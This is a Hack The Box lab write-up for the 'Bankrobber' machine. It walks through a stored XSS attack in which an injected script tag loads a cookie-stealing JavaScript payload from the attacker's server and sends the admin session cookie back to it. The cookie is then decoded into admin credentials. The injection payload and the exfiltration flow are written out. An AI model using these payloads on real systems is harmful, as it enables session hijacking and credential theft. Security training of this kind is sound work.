Bankrobber_XSS

XSS

---

The target web server is confirmed to be vulnerable to XSS

Whoever trigger the testing payload must be the admin user as the prompt noted that an admin will authenticate transaction requests

therefore, i will be conducting the session hijacking attack

session hijacking

---

┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ nano session_hijacker.js

This is a JS payload with a function, hijacking(), that creates a HTML element img and appends the current session cookie to it, which is assumed to be the admin’s • Admin session then will process the usual transfer request with a malicious JS code in the comment parameter, containing JS src to Kali’s web server, which is hosting the payload above • Admin session will download the payload from the Kali web server and executes it • This function requests the ambiguous JS source to this address; http://10.10.14.10:8000/xss?= with the current session cookie, supposedly that of admin’s. (It’s requesting back to Kali again, but with a different purpose this time, as it contains the stolen admin session cookie) • Obviously the Kali web server doesn’t have a file starting with xss?=<ADMIN SESSION COOKIE>, so it would fail, but be reflected on Kali’s web server as log

┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ simplehttp .
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Start a web server on Kali

Send the request with the comment’s value <script src="http://10.10.14.10:8000/session_hijacker.js"></script> This should trigger the admin session to send a GET request to Kali’s web server for the payload, which is session_hijacker.js The admin session will then as explained above, execute the JS payload to send another GET request with the admin’s session cookie.

The admin session has downloaded the session_hijacker.js file from the Kali’s web server and executed it The payload executed and connected back to the Kali’s web server again with the admin session cookie.

This is the admin session cookie username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 As discovered earlier, the target web server double-encodes credentials and hands them out as cookie Therefore, these aren’t just cookie, they are credentials of the admin user Also notice the id parameter being 1. It was the admin user

Decoding

---

┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└****─$ hurl -u 'YWRtaW4%3D'                  
 
original    :: YWRtaW4%3D
url decoded :: YWRtaW4=
 
┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ hurl -b 'YWRtaW4='   
 
original string       :: YWRtaW4=
base64 decoded string :: admin

The username is admin

┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ hurl -u 'SG9wZWxlc3Nyb21hbnRpYw%3D%3D'                                  
 
original    :: SG9wZWxlc3Nyb21hbnRpYw%3D%3D
url decoded :: SG9wZWxlc3Nyb21hbnRpYw==
 
┌──(kali㉿kali)-[~/archive/htb/labs/bankrobber]
└─$ hurl -b 'SG9wZWxlc3Nyb21hbnRpYw=='                
 
original string       :: SG9wZWxlc3Nyb21hbnRpYw==
base64 decoded string :: Hopelessromantic

The password is Hopelessromantic